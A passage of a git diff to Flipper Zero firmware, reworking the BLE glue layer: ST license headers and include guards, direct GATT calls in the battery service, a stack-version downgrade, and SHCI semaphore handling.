"stm32wbxx_ll_bus.h" +-#include "stm32wbxx_ll_pwr.h" +- + #include + + typedef PACKED_STRUCT { +@@ -111,6 +108,10 @@ static void APPD_SetCPU2GpioConfig(void); + static void APPD_BleDtbCfg(void); + + void APPD_Init() { ++#if(CFG_DEBUG_TRACE != 0) ++ DbgTraceInit(); ++#endif ++ + APPD_SetCPU2GpioConfig(); + APPD_BleDtbCfg(); + } +@@ -195,14 +196,14 @@ static void APPD_SetCPU2GpioConfig(void) { + gpio_config.Pin = gpiob_pin_list; + LL_C2_AHB2_GRP1_EnableClock(LL_C2_AHB2_GRP1_PERIPH_GPIOB); + LL_GPIO_Init(GPIOB, &gpio_config); +- LL_GPIO_ResetOutputPin(GPIOB, gpiob_pin_list); ++ LL_GPIO_ResetOutputPin(GPIOB, gpioa_pin_list); + } + + if(gpioc_pin_list != 0) { + gpio_config.Pin = gpioc_pin_list; + LL_C2_AHB2_GRP1_EnableClock(LL_C2_AHB2_GRP1_PERIPH_GPIOC); + LL_GPIO_Init(GPIOC, &gpio_config); +- LL_GPIO_ResetOutputPin(GPIOC, gpioc_pin_list); ++ LL_GPIO_ResetOutputPin(GPIOC, gpioa_pin_list); + } + } + +@@ -251,3 +252,13 @@ static void APPD_BleDtbCfg(void) { + } + #endif + } ++ ++#if(CFG_DEBUG_TRACE != 0) ++void DbgOutputInit(void) { ++} ++ ++void DbgOutputTraces(uint8_t* p_data, uint16_t size, void (*cb)(void)) { ++ furi_hal_console_tx(p_data, size); ++ cb(); ++} ++#endif +diff --git a/firmware/targets/f7/ble_glue/app_debug.h b/firmware/targets/f7/ble_glue/app_debug.h +index 213470bed..92a54d75b 100644 +--- a/firmware/targets/f7/ble_glue/app_debug.h ++++ b/firmware/targets/f7/ble_glue/app_debug.h +@@ -1,4 +1,26 @@ +-#pragma once ++/* USER CODE BEGIN Header */ ++/** ++ ****************************************************************************** ++ * File Name : app_debug.h ++ * Description : Header for app_debug.c module ++ ****************************************************************************** ++ * @attention ++ * ++ *

© Copyright (c) 2020 STMicroelectronics. ++ * All rights reserved.

++ * ++ * This software component is licensed by ST under Ultimate Liberty license ++ * SLA0044, the "License"; You may not use this file except in compliance with ++ * the License. You may obtain a copy of the License at: ++ * www.st.com/SLA0044 ++ * ++ ****************************************************************************** ++ */ ++/* USER CODE END Header */ ++ ++/* Define to prevent recursive inclusion -------------------------------------*/ ++#ifndef __APP_DEBUG_H ++#define __APP_DEBUG_H + + #ifdef __cplusplus + extern "C" { +@@ -10,3 +32,7 @@ void APPD_EnableCPU2(void); + #ifdef __cplusplus + } + #endif ++ ++#endif /*__APP_DEBUG_H */ ++ ++/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/ +diff --git a/firmware/targets/f7/ble_glue/services/battery_service.c b/firmware/targets/f7/ble_glue/battery_service.c +similarity index 53% +rename from firmware/targets/f7/ble_glue/services/battery_service.c +rename to firmware/targets/f7/ble_glue/battery_service.c +index 63f736b3b..8c371efad 100644 +--- a/firmware/targets/f7/ble_glue/services/battery_service.c ++++ b/firmware/targets/f7/ble_glue/battery_service.c +@@ -1,7 +1,5 @@ + #include "battery_service.h" + #include "app_common.h" +-#include "gatt_char.h" +- + #include + + #include +@@ -9,6 +7,12 @@ + + #define TAG "BtBatterySvc" + ++typedef struct { ++ uint16_t svc_handle; ++ uint16_t battery_level_char_handle; ++ uint16_t power_state_char_handle; ++} BatterySvc; ++ + enum { + // Common states + BatterySvcPowerStateUnknown = 0b00, +@@ -36,44 +40,13 @@ typedef struct { + + _Static_assert(sizeof(BattrySvcPowerState) == 1, "Incorrect structure size"); + ++static BatterySvc* battery_svc = NULL; ++ + #define BATTERY_POWER_STATE (0x2A1A) + + static const uint16_t service_uuid = BATTERY_SERVICE_UUID; +- +-typedef enum { +- BatterySvcGattCharacteristicBatteryLevel = 0, +- BatterySvcGattCharacteristicPowerState, +- BatterySvcGattCharacteristicCount, +-} BatterySvcGattCharacteristicId; +- +-static const FlipperGattCharacteristicParams battery_svc_chars[BatterySvcGattCharacteristicCount] = +- {[BatterySvcGattCharacteristicBatteryLevel] = +- {.name = "Battery Level", +- .data_prop_type = FlipperGattCharacteristicDataFixed, +- .data.fixed.length = 1, +- .uuid.Char_UUID_16 = BATTERY_LEVEL_CHAR_UUID, +- .uuid_type = UUID_TYPE_16, +- .char_properties = CHAR_PROP_READ | CHAR_PROP_NOTIFY, +- .security_permissions = ATTR_PERMISSION_AUTHEN_READ, +- .gatt_evt_mask = GATT_DONT_NOTIFY_EVENTS, +- .is_variable = CHAR_VALUE_LEN_CONSTANT}, +- [BatterySvcGattCharacteristicPowerState] = { +- .name = "Power State", +- .data_prop_type = FlipperGattCharacteristicDataFixed, +- .data.fixed.length = 1, +- .uuid.Char_UUID_16 = BATTERY_POWER_STATE, +- .uuid_type = UUID_TYPE_16, +- .char_properties = CHAR_PROP_READ | CHAR_PROP_NOTIFY, +- .security_permissions = ATTR_PERMISSION_AUTHEN_READ, +- .gatt_evt_mask = GATT_DONT_NOTIFY_EVENTS, +- .is_variable = CHAR_VALUE_LEN_CONSTANT}}; +- +-typedef struct { +- uint16_t svc_handle; +- FlipperGattCharacteristicInstance chars[BatterySvcGattCharacteristicCount]; +-} BatterySvc; +- +-static BatterySvc* battery_svc = NULL; ++static const uint16_t battery_level_char_uuid = BATTERY_LEVEL_CHAR_UUID; ++static const uint16_t power_state_char_uuid = BATTERY_POWER_STATE; + + void battery_svc_start() { + battery_svc = malloc(sizeof(BatterySvc)); +@@ -85,19 +58,53 @@ void battery_svc_start() { + if(status) { + FURI_LOG_E(TAG, "Failed to add Battery service: %d", status); + } +- for(size_t i = 0; i < BatterySvcGattCharacteristicCount; i++) { +- flipper_gatt_characteristic_init( +- battery_svc->svc_handle, &battery_svc_chars[i], &battery_svc->chars[i]); ++ // Add Battery level characteristic ++ status = aci_gatt_add_char( ++ battery_svc->svc_handle, ++ UUID_TYPE_16, ++ (Char_UUID_t*)&battery_level_char_uuid, ++ 1, ++ CHAR_PROP_READ | CHAR_PROP_NOTIFY, ++ ATTR_PERMISSION_AUTHEN_READ, ++ GATT_DONT_NOTIFY_EVENTS, ++ 10, ++ CHAR_VALUE_LEN_CONSTANT, ++ &battery_svc->battery_level_char_handle); ++ if(status) { ++ FURI_LOG_E(TAG, "Failed to add Battery level characteristic: %d", status); + } +- ++ // Add Power state characteristic ++ status = aci_gatt_add_char( ++ battery_svc->svc_handle, ++ UUID_TYPE_16, ++ (Char_UUID_t*)&power_state_char_uuid, ++ 1, ++ CHAR_PROP_READ | CHAR_PROP_NOTIFY, ++ ATTR_PERMISSION_AUTHEN_READ, ++ GATT_DONT_NOTIFY_EVENTS, ++ 10, ++ CHAR_VALUE_LEN_CONSTANT, ++ &battery_svc->power_state_char_handle); ++ if(status) { ++ FURI_LOG_E(TAG, "Failed to add Battery level characteristic: %d", status); ++ } ++ // Update power state charachteristic + battery_svc_update_power_state(); + } + + void battery_svc_stop() { + tBleStatus status; + if(battery_svc) { +- for(size_t i = 0; i < BatterySvcGattCharacteristicCount; i++) { +- flipper_gatt_characteristic_delete(battery_svc->svc_handle, &battery_svc->chars[i]); ++ // Delete Battery level characteristic ++ status = ++ aci_gatt_del_char(battery_svc->svc_handle, battery_svc->battery_level_char_handle); ++ if(status) { ++ FURI_LOG_E(TAG, "Failed to delete Battery level characteristic: %d", status); ++ } ++ // Delete Power state characteristic ++ status = aci_gatt_del_char(battery_svc->svc_handle, battery_svc->power_state_char_handle); ++ if(status) { ++ FURI_LOG_E(TAG, "Failed to delete Battery level characteristic: %d", status); + } + // Delete Battery service + status = aci_gatt_del_service(battery_svc->svc_handle); +@@ -119,10 +126,13 @@ bool battery_svc_update_level(uint8_t battery_charge) { + return false; + } + // Update battery level characteristic +- return flipper_gatt_characteristic_update( +- battery_svc->svc_handle, +- &battery_svc->chars[BatterySvcGattCharacteristicBatteryLevel], +- &battery_charge); ++ FURI_LOG_D(TAG, "Updating battery level characteristic"); ++ tBleStatus result = aci_gatt_update_char_value( ++ battery_svc->svc_handle, battery_svc->battery_level_char_handle, 0, 1, &battery_charge); ++ if(result) { ++ FURI_LOG_E(TAG, "Failed updating RX characteristic: %d", result); ++ } ++ return result != BLE_STATUS_SUCCESS; + } + + bool battery_svc_update_power_state() { +@@ -142,9 +152,15 @@ bool battery_svc_update_power_state() { + power_state.charging = BatterySvcPowerStateNotCharging; + power_state.discharging = BatterySvcPowerStateDischarging; + } +- +- return flipper_gatt_characteristic_update( ++ FURI_LOG_D(TAG, "Updating power state characteristic"); ++ tBleStatus result = aci_gatt_update_char_value( + battery_svc->svc_handle, +- &battery_svc->chars[BatterySvcGattCharacteristicPowerState], +- &power_state); ++ battery_svc->power_state_char_handle, ++ 0, ++ 1, ++ (uint8_t*)&power_state); ++ if(result) { ++ FURI_LOG_E(TAG, "Failed updating Power state characteristic: %d", result); ++ } ++ return result != BLE_STATUS_SUCCESS; + } +diff --git a/firmware/targets/f7/ble_glue/services/battery_service.h b/firmware/targets/f7/ble_glue/battery_service.h +similarity index 100% +rename from firmware/targets/f7/ble_glue/services/battery_service.h +rename to firmware/targets/f7/ble_glue/battery_service.h +diff --git a/firmware/targets/f7/ble_glue/ble_app.c b/firmware/targets/f7/ble_glue/ble_app.c +index 37ec3d0b9..ed62b1884 100644 +--- a/firmware/targets/f7/ble_glue/ble_app.c ++++ b/firmware/targets/f7/ble_glue/ble_app.c +@@ -18,8 +18,8 @@ PLACE_IN_SECTION("MB_MEM1") ALIGN(4) static TL_CmdPacket_t ble_app_cmd_buffer; + PLACE_IN_SECTION("MB_MEM2") ALIGN(4) static uint32_t ble_app_nvm[BLE_NVM_SRAM_SIZE]; + + _Static_assert( +- sizeof(SHCI_C2_Ble_Init_Cmd_Packet_t) == 58, +- "Ble stack config structure size mismatch (check new config options - last updated for v.1.17.2)"); ++ sizeof(SHCI_C2_Ble_Init_Cmd_Packet_t) == 57, ++ "Ble stack config structure size mismatch (check new config options - last updated for v.1.15.0)"); + + typedef struct { + FuriMutex* hci_mtx; +@@ -33,54 +33,6 @@ static int32_t ble_app_hci_thread(void* context); + static void ble_app_hci_event_handler(void* pPayload); + static void ble_app_hci_status_not_handler(HCI_TL_CmdStatus_t status); + +-static const HCI_TL_HciInitConf_t hci_tl_config = { +- .p_cmdbuffer = (uint8_t*)&ble_app_cmd_buffer, +- .StatusNotCallBack = ble_app_hci_status_not_handler, +-}; +- +-static const SHCI_C2_CONFIG_Cmd_Param_t config_param = { +- .PayloadCmdSize = SHCI_C2_CONFIG_PAYLOAD_CMD_SIZE, +- .Config1 = SHCI_C2_CONFIG_CONFIG1_BIT0_BLE_NVM_DATA_TO_SRAM, +- .BleNvmRamAddress = (uint32_t)ble_app_nvm, +- .EvtMask1 = SHCI_C2_CONFIG_EVTMASK1_BIT1_BLE_NVM_RAM_UPDATE_ENABLE, +-}; +- +-static const SHCI_C2_Ble_Init_Cmd_Packet_t ble_init_cmd_packet = { +- .Header = {{0, 0, 0}}, // Header unused +- .Param = { +- .pBleBufferAddress = 0, // pBleBufferAddress not used +- .BleBufferSize = 0, // BleBufferSize not used +- .NumAttrRecord = CFG_BLE_NUM_GATT_ATTRIBUTES, +- .NumAttrServ = CFG_BLE_NUM_GATT_SERVICES, +- .AttrValueArrSize = CFG_BLE_ATT_VALUE_ARRAY_SIZE, +- .NumOfLinks = CFG_BLE_NUM_LINK, +- .ExtendedPacketLengthEnable = CFG_BLE_DATA_LENGTH_EXTENSION, +- .PrWriteListSize = CFG_BLE_PREPARE_WRITE_LIST_SIZE, +- .MblockCount = CFG_BLE_MBLOCK_COUNT, +- .AttMtu = CFG_BLE_MAX_ATT_MTU, +- .SlaveSca = CFG_BLE_SLAVE_SCA, +- .MasterSca = CFG_BLE_MASTER_SCA, +- .LsSource = CFG_BLE_LSE_SOURCE, +- .MaxConnEventLength = CFG_BLE_MAX_CONN_EVENT_LENGTH, +- .HsStartupTime = CFG_BLE_HSE_STARTUP_TIME, +- .ViterbiEnable = CFG_BLE_VITERBI_MODE, +- .Options = CFG_BLE_OPTIONS, +- .HwVersion = 0, +- .max_coc_initiator_nbr = 32, +- .min_tx_power = 0, +- .max_tx_power = 0, +- .rx_model_config = 1, +- /* New stack (13.3->15.0) */ +- .max_adv_set_nbr = 1, // Only used if SHCI_C2_BLE_INIT_OPTIONS_EXT_ADV is set +- .max_adv_data_len = 1650, // Only used if SHCI_C2_BLE_INIT_OPTIONS_EXT_ADV is set +- .tx_path_compens = 0, // RF TX Path Compensation, * 0.1 dB +- .rx_path_compens = 0, // RF RX Path Compensation, * 0.1 dB +- .ble_core_version = SHCI_C2_BLE_INIT_BLE_CORE_5_4, +- /*15.0->17.0*/ +- .Options_extension = SHCI_C2_BLE_INIT_OPTIONS_ENHANCED_ATT_NOTSUPPORTED | +- SHCI_C2_BLE_INIT_OPTIONS_APPEARANCE_READONLY, +- }}; +- + bool ble_app_init() { + SHCI_CmdStatus_t status; + ble_app = malloc(sizeof(BleApp)); +@@ -92,16 +44,58 @@ bool ble_app_init() { + furi_thread_start(ble_app->thread); + + // Initialize Ble Transport Layer ++ HCI_TL_HciInitConf_t hci_tl_config = { ++ .p_cmdbuffer = (uint8_t*)&ble_app_cmd_buffer, ++ .StatusNotCallBack = ble_app_hci_status_not_handler, ++ }; + hci_init(ble_app_hci_event_handler, (void*)&hci_tl_config); + + // Configure NVM store for pairing data +- status = SHCI_C2_Config((SHCI_C2_CONFIG_Cmd_Param_t*)&config_param); ++ SHCI_C2_CONFIG_Cmd_Param_t config_param = { ++ .PayloadCmdSize = SHCI_C2_CONFIG_PAYLOAD_CMD_SIZE, ++ .Config1 = SHCI_C2_CONFIG_CONFIG1_BIT0_BLE_NVM_DATA_TO_SRAM, ++ .BleNvmRamAddress = (uint32_t)ble_app_nvm, ++ .EvtMask1 = SHCI_C2_CONFIG_EVTMASK1_BIT1_BLE_NVM_RAM_UPDATE_ENABLE, ++ }; ++ status = SHCI_C2_Config(&config_param); + if(status) { + FURI_LOG_E(TAG, "Failed to configure 2nd core: %d", status); + } + + // Start ble stack on 2nd core +- status = SHCI_C2_BLE_Init((SHCI_C2_Ble_Init_Cmd_Packet_t*)&ble_init_cmd_packet); ++ SHCI_C2_Ble_Init_Cmd_Packet_t ble_init_cmd_packet = { ++ .Header = {{0, 0, 0}}, // Header unused ++ .Param = { ++ .pBleBufferAddress = 0, // pBleBufferAddress not used ++ .BleBufferSize = 0, // BleBufferSize not used ++ .NumAttrRecord = CFG_BLE_NUM_GATT_ATTRIBUTES, ++ .NumAttrServ = CFG_BLE_NUM_GATT_SERVICES, ++ .AttrValueArrSize = CFG_BLE_ATT_VALUE_ARRAY_SIZE, ++ .NumOfLinks = CFG_BLE_NUM_LINK, ++ .ExtendedPacketLengthEnable = CFG_BLE_DATA_LENGTH_EXTENSION, ++ .PrWriteListSize = CFG_BLE_PREPARE_WRITE_LIST_SIZE, ++ .MblockCount = CFG_BLE_MBLOCK_COUNT, ++ .AttMtu = CFG_BLE_MAX_ATT_MTU, ++ .SlaveSca = CFG_BLE_SLAVE_SCA, ++ .MasterSca = CFG_BLE_MASTER_SCA, ++ .LsSource = CFG_BLE_LSE_SOURCE, ++ .MaxConnEventLength = CFG_BLE_MAX_CONN_EVENT_LENGTH, ++ .HsStartupTime = CFG_BLE_HSE_STARTUP_TIME, ++ .ViterbiEnable = CFG_BLE_VITERBI_MODE, ++ .Options = CFG_BLE_OPTIONS, ++ .HwVersion = 0, ++ .max_coc_initiator_nbr = 32, ++ .min_tx_power = 0, ++ .max_tx_power = 0, ++ .rx_model_config = 1, ++ /* New stack (13.3->15.0) */ ++ .max_adv_set_nbr = 1, // Only used if SHCI_C2_BLE_INIT_OPTIONS_EXT_ADV is set ++ .max_adv_data_len = 31, // Only used if SHCI_C2_BLE_INIT_OPTIONS_EXT_ADV is set ++ .tx_path_compens = 0, // RF TX Path Compensation, * 0.1 dB ++ .rx_path_compens = 0, // RF RX Path Compensation, * 0.1 dB ++ .ble_core_version = 11, // BLE Core Version: 11(5.2), 12(5.3) ++ }}; ++ status = SHCI_C2_BLE_Init(&ble_init_cmd_packet); + if(status) { + FURI_LOG_E(TAG, "Failed to start ble stack: %d", status); + } +diff --git a/firmware/targets/f7/ble_glue/ble_app.h b/firmware/targets/f7/ble_glue/ble_app.h +index 2e6babab7..495005ec4 100644 +--- a/firmware/targets/f7/ble_glue/ble_app.h ++++ b/firmware/targets/f7/ble_glue/ble_app.h +@@ -1,12 +1,12 @@ + #pragma once + +-#include +-#include +- + #ifdef __cplusplus + extern "C" { + #endif + ++#include ++#include ++ + bool ble_app_init(); + void ble_app_get_key_storage_buff(uint8_t** addr, uint16_t* size); + void ble_app_thread_stop(); +diff --git a/firmware/targets/f7/ble_glue/ble_conf.h b/firmware/targets/f7/ble_glue/ble_conf.h +index 2b9c22dfe..a04d1def1 100644 +--- a/firmware/targets/f7/ble_glue/ble_conf.h ++++ b/firmware/targets/f7/ble_glue/ble_conf.h +@@ -1,7 +1,51 @@ +-#pragma once ++/** ++ ****************************************************************************** ++ * File Name : App/ble_conf.h ++ * Description : Configuration file for BLE Middleware. ++ * ++ ****************************************************************************** ++ * @attention ++ * ++ *

© Copyright (c) 2020 STMicroelectronics. ++ * All rights reserved.

++ * ++ * This software component is licensed by ST under Ultimate Liberty license ++ * SLA0044, the "License"; You may not use this file except in compliance with ++ * the License. You may obtain a copy of the License at: ++ * www.st.com/SLA0044 ++ * ++ ****************************************************************************** ++ */ ++ ++/* Define to prevent recursive inclusion -------------------------------------*/ ++#ifndef BLE_CONF_H ++#define BLE_CONF_H + + #include "app_conf.h" + ++#ifndef __weak ++#define __weak __attribute__((weak)) ++#endif ++ ++/****************************************************************************** ++ * ++ * BLE SERVICES CONFIGURATION ++ * blesvc ++ * ++ ******************************************************************************/ ++ ++/** ++ * This setting shall be set to '1' if the device needs to support the Peripheral Role ++ * In the MS configuration, both BLE_CFG_PERIPHERAL and BLE_CFG_CENTRAL shall be set to '1' ++ */ ++#define BLE_CFG_PERIPHERAL 1 ++ ++/** ++ * This setting shall be set to '1' if the device needs to support the Central Role ++ * In the MS configuration, both BLE_CFG_PERIPHERAL and BLE_CFG_CENTRAL shall be set to '1' ++ */ ++#define BLE_CFG_CENTRAL 0 ++ + /** + * There is one handler per service enabled + * Note: There is no handler for the Device Information Service +@@ -12,3 +56,18 @@ + #define BLE_CFG_SVC_MAX_NBR_CB 7 + + #define BLE_CFG_CLT_MAX_NBR_CB 0 ++ ++/****************************************************************************** ++ * GAP Service - Apprearance ++ ******************************************************************************/ ++ ++#define BLE_CFG_UNKNOWN_APPEARANCE (0) ++#define BLE_CFG_GAP_APPEARANCE (0x0086) ++ ++/****************************************************************************** ++ * Over The Air Feature (OTA) - STM Proprietary ++ ******************************************************************************/ ++#define BLE_CFG_OTA_REBOOT_CHAR 0 /**< REBOOT OTA MODE CHARACTERISTIC */ ++ ++#endif /*BLE_CONF_H */ ++/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/ +diff --git a/firmware/targets/f7/ble_glue/ble_const.h b/firmware/targets/f7/ble_glue/ble_const.h +index 1e6647d90..85f734b62 100644 +--- a/firmware/targets/f7/ble_glue/ble_const.h ++++ b/firmware/targets/f7/ble_glue/ble_const.h +@@ -1,4 +1,22 @@ +-#pragma once ++/***************************************************************************** ++ * @file ble_const.h ++ * @author MDG ++ * @brief This file contains the definitions which are compiler dependent. ++ ***************************************************************************** ++ * @attention ++ * ++ * Copyright (c) 2018-2022 STMicroelectronics. ++ * All rights reserved. ++ * ++ * This software is licensed under terms that can be found in the LICENSE file ++ * in the root directory of this software component. ++ * If no LICENSE file comes with this software, it is provided AS-IS. ++ * ++ ***************************************************************************** ++ */ ++ ++#ifndef BLE_CONST_H__ ++#define BLE_CONST_H__ + + #include + #include +@@ -97,3 +115,5 @@ extern int hci_send_req(struct hci_request* req, uint8_t async); + #ifndef MAX + #define MAX(a, b) (((a) > (b)) ? (a) : (b)) + #endif ++ ++#endif /* BLE_CONST_H__ */ +diff --git a/firmware/targets/f7/ble_glue/ble_dbg_conf.h b/firmware/targets/f7/ble_glue/ble_dbg_conf.h +index 6f70f09be..8305f8106 100644 +--- a/firmware/targets/f7/ble_glue/ble_dbg_conf.h ++++ b/firmware/targets/f7/ble_glue/ble_dbg_conf.h +@@ -1 +1,199 @@ +-#pragma once ++/** ++ ****************************************************************************** ++ * File Name : App/ble_dbg_conf.h ++ * Description : Debug configuration file for BLE Middleware. ++ * ++ ****************************************************************************** ++ * @attention ++ * ++ *

© Copyright (c) 2020 STMicroelectronics. ++ * All rights reserved.

++ * ++ * This software component is licensed by ST under Ultimate Liberty license ++ * SLA0044, the "License"; You may not use this file except in compliance with ++ * the License. You may obtain a copy of the License at: ++ * www.st.com/SLA0044 ++ * ++ ****************************************************************************** ++ */ ++ ++/* Define to prevent recursive inclusion -------------------------------------*/ ++#ifndef __BLE_DBG_CONF_H ++#define __BLE_DBG_CONF_H ++ ++/** ++ * Enable or Disable traces from BLE ++ */ ++ ++#define BLE_DBG_APP_EN 1 ++#define BLE_DBG_DIS_EN 1 ++#define BLE_DBG_HRS_EN 1 ++#define BLE_DBG_SVCCTL_EN 1 ++#define BLE_DBG_BLS_EN 1 ++#define BLE_DBG_HTS_EN 1 ++#define BLE_DBG_P2P_STM_EN 1 ++ ++/** ++ * Macro definition ++ */ ++#if(BLE_DBG_APP_EN != 0) ++#define BLE_DBG_APP_MSG PRINT_MESG_DBG ++#else ++#define BLE_DBG_APP_MSG PRINT_NO_MESG ++#endif ++ ++#if(BLE_DBG_DIS_EN != 0) ++#define BLE_DBG_DIS_MSG PRINT_MESG_DBG ++#else ++#define BLE_DBG_DIS_MSG PRINT_NO_MESG ++#endif ++ ++#if(BLE_DBG_HRS_EN != 0) ++#define BLE_DBG_HRS_MSG PRINT_MESG_DBG ++#else ++#define BLE_DBG_HRS_MSG PRINT_NO_MESG ++#endif ++ ++#if(BLE_DBG_P2P_STM_EN != 0) ++#define BLE_DBG_P2P_STM_MSG PRINT_MESG_DBG ++#else ++#define BLE_DBG_P2P_STM_MSG PRINT_NO_MESG ++#endif ++ ++#if(BLE_DBG_TEMPLATE_STM_EN != 0) ++#define BLE_DBG_TEMPLATE_STM_MSG PRINT_MESG_DBG ++#else ++#define BLE_DBG_TEMPLATE_STM_MSG PRINT_NO_MESG ++#endif ++ ++#if(BLE_DBG_EDS_STM_EN != 0) ++#define BLE_DBG_EDS_STM_MSG PRINT_MESG_DBG ++#else ++#define BLE_DBG_EDS_STM_MSG PRINT_NO_MESG ++#endif ++ ++#if(BLE_DBG_LBS_STM_EN != 0) ++#define BLE_DBG_LBS_STM_MSG PRINT_MESG_DBG ++#else ++#define BLE_DBG_LBS_STM_MSG PRINT_NO_MESG ++#endif ++ ++#if(BLE_DBG_SVCCTL_EN != 0) ++#define BLE_DBG_SVCCTL_MSG PRINT_MESG_DBG ++#else ++#define BLE_DBG_SVCCTL_MSG PRINT_NO_MESG ++#endif ++ ++#if(BLE_DBG_CTS_EN != 0) ++#define BLE_DBG_CTS_MSG PRINT_MESG_DBG ++#else ++#define BLE_DBG_CTS_MSG PRINT_NO_MESG ++#endif ++ ++#if(BLE_DBG_HIDS_EN != 0) ++#define BLE_DBG_HIDS_MSG PRINT_MESG_DBG ++#else ++#define BLE_DBG_HIDS_MSG PRINT_NO_MESG ++#endif ++ ++#if(BLE_DBG_PASS_EN != 0) ++#define BLE_DBG_PASS_MSG PRINT_MESG_DBG ++#else ++#define BLE_DBG_PASS_MSG PRINT_NO_MESG ++#endif ++ ++#if(BLE_DBG_BLS_EN != 0) ++#define BLE_DBG_BLS_MSG PRINT_MESG_DBG ++#else ++#define BLE_DBG_BLS_MSG PRINT_NO_MESG ++#endif ++ ++#if(BLE_DBG_HTS_EN != 0) ++#define BLE_DBG_HTS_MSG PRINT_MESG_DBG ++#else ++#define BLE_DBG_HTS_MSG PRINT_NO_MESG ++#endif ++ ++#if(BLE_DBG_ANS_EN != 0) ++#define BLE_DBG_ANS_MSG PRINT_MESG_DBG ++#else ++#define BLE_DBG_ANS_MSG PRINT_NO_MESG ++#endif ++ ++#if(BLE_DBG_ESS_EN != 0) ++#define BLE_DBG_ESS_MSG PRINT_MESG_DBG ++#else ++#define BLE_DBG_ESS_MSG PRINT_NO_MESG ++#endif ++ ++#if(BLE_DBG_GLS_EN != 0) ++#define BLE_DBG_GLS_MSG PRINT_MESG_DBG ++#else ++#define BLE_DBG_GLS_MSG PRINT_NO_MESG ++#endif ++ ++#if(BLE_DBG_BAS_EN != 0) ++#define BLE_DBG_BAS_MSG PRINT_MESG_DBG ++#else ++#define BLE_DBG_BAS_MSG PRINT_NO_MESG ++#endif ++ ++#if(BLE_DBG_RTUS_EN != 0) ++#define BLE_DBG_RTUS_MSG PRINT_MESG_DBG ++#else ++#define BLE_DBG_RTUS_MSG PRINT_NO_MESG ++#endif ++ ++#if(BLE_DBG_HPS_EN != 0) ++#define BLE_DBG_HPS_MSG PRINT_MESG_DBG ++#else ++#define BLE_DBG_HPS_MSG PRINT_NO_MESG ++#endif ++ ++#if(BLE_DBG_TPS_EN != 0) ++#define BLE_DBG_TPS_MSG PRINT_MESG_DBG ++#else ++#define BLE_DBG_TPS_MSG PRINT_NO_MESG ++#endif ++ ++#if(BLE_DBG_LLS_EN != 0) ++#define BLE_DBG_LLS_MSG PRINT_MESG_DBG ++#else ++#define BLE_DBG_LLS_MSG PRINT_NO_MESG ++#endif ++ ++#if(BLE_DBG_IAS_EN != 0) ++#define BLE_DBG_IAS_MSG PRINT_MESG_DBG ++#else ++#define BLE_DBG_IAS_MSG PRINT_NO_MESG ++#endif ++ ++#if(BLE_DBG_WSS_EN != 0) ++#define BLE_DBG_WSS_MSG PRINT_MESG_DBG ++#else ++#define BLE_DBG_WSS_MSG PRINT_NO_MESG ++#endif ++ ++#if(BLE_DBG_LNS_EN != 0) ++#define BLE_DBG_LNS_MSG PRINT_MESG_DBG ++#else ++#define BLE_DBG_LNS_MSG PRINT_NO_MESG ++#endif ++ ++#if(BLE_DBG_SCPS_EN != 0) ++#define BLE_DBG_SCPS_MSG PRINT_MESG_DBG ++#else ++#define BLE_DBG_SCPS_MSG PRINT_NO_MESG ++#endif ++ ++#if(BLE_DBG_DTS_EN != 0) ++#define BLE_DBG_DTS_MSG PRINT_MESG_DBG ++#define BLE_DBG_DTS_BUF PRINT_LOG_BUFF_DBG ++#else ++#define BLE_DBG_DTS_MSG PRINT_NO_MESG ++#define BLE_DBG_DTS_BUF PRINT_NO_MESG ++#endif ++ ++#endif /*__BLE_DBG_CONF_H */ ++ ++/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/ +diff --git a/firmware/targets/f7/ble_glue/ble_glue.c b/firmware/targets/f7/ble_glue/ble_glue.c +index 5f129ba8c..2c30612b5 100644 +--- a/firmware/targets/f7/ble_glue/ble_glue.c ++++ b/firmware/targets/f7/ble_glue/ble_glue.c +@@ -32,6 +32,7 @@ static uint8_t ble_glue_ble_spare_event_buff[sizeof(TL_PacketHeader_t) + TL_EVT_ + + typedef struct { + FuriMutex* shci_mtx; ++ FuriSemaphore* shci_sem; + FuriThread* thread; + BleGlueStatus status; + BleGlueKeyStorageChangedCallback callback; +@@ -103,6 +104,7 @@ void ble_glue_init() { + TL_Init(); + + ble_glue->shci_mtx = furi_mutex_alloc(FuriMutexTypeNormal); ++ ble_glue->shci_sem = furi_semaphore_alloc(1, 0); + + // FreeRTOS system task creation + ble_glue->thread = furi_thread_alloc_ex("BleShciDriver", 1024, ble_glue_shci_thread, ble_glue); +@@ -391,6 +393,7 @@ void ble_glue_thread_stop() { + furi_thread_free(ble_glue->thread); + // Free resources + furi_mutex_free(ble_glue->shci_mtx); ++ furi_semaphore_free(ble_glue->shci_sem); + ble_glue_clear_shared_memory(); + free(ble_glue); + ble_glue = NULL; +@@ -424,6 +427,22 @@ void shci_notify_asynch_evt(void* pdata) { + } + } + ++void shci_cmd_resp_release(uint32_t flag) { ++ UNUSED(flag); ++ if(ble_glue) { ++ furi_semaphore_release(ble_glue->shci_sem); ++ } ++} ++ ++void shci_cmd_resp_wait(uint32_t timeout) { ++ UNUSED(timeout); ++ if(ble_glue) { ++ furi_hal_power_insomnia_enter(); ++ furi_semaphore_acquire(ble_glue->shci_sem, FuriWaitForever); ++ furi_hal_power_insomnia_exit(); ++ } ++} ++ + bool ble_glue_reinit_c2() { + return SHCI_C2_Reinit() == SHCI_Success; + } +diff --git a/firmware/targets/f7/ble_glue/compiler.h b/firmware/targets/f7/ble_glue/compiler.h +index 1d32c2a2e..98a93d712 100644 +--- a/firmware/targets/f7/ble_glue/compiler.h ++++ b/firmware/targets/f7/ble_glue/compiler.h +@@ -1,4 +1,22 @@ +-#pragma once ++/***************************************************************************** ++ * @file compiler.h ++ * @author MDG ++ * @brief This file contains the definitions which are compiler dependent. ++ ***************************************************************************** ++ * @attention ++ * ++ * Copyright (c) 2018-2023 STMicroelectronics. ++ * All rights reserved. ++ * ++ * This software is licensed under terms that can be found in the LICENSE file ++ * in the root directory of this software component. ++ * If no LICENSE file comes with this software, it is provided AS-IS. ++ * ++ ***************************************************************************** ++ */ ++ ++#ifndef COMPILER_H__ ++#define COMPILER_H__ + + #ifndef __PACKED_STRUCT + #define __PACKED_STRUCT PACKED(struct) +@@ -136,3 +154,5 @@ + #endif + #endif + #endif ++ ++#endif /* COMPILER_H__ */ +diff --git a/firmware/targets/f7/ble_glue/dev_info_service.c b/firmware/targets/f7/ble_glue/dev_info_service.c +new file mode 100644 +index 000000000..d24058632 +--- /dev/null ++++ b/firmware/targets/f7/ble_glue/dev_info_service.c +@@ -0,0 +1,220 @@ 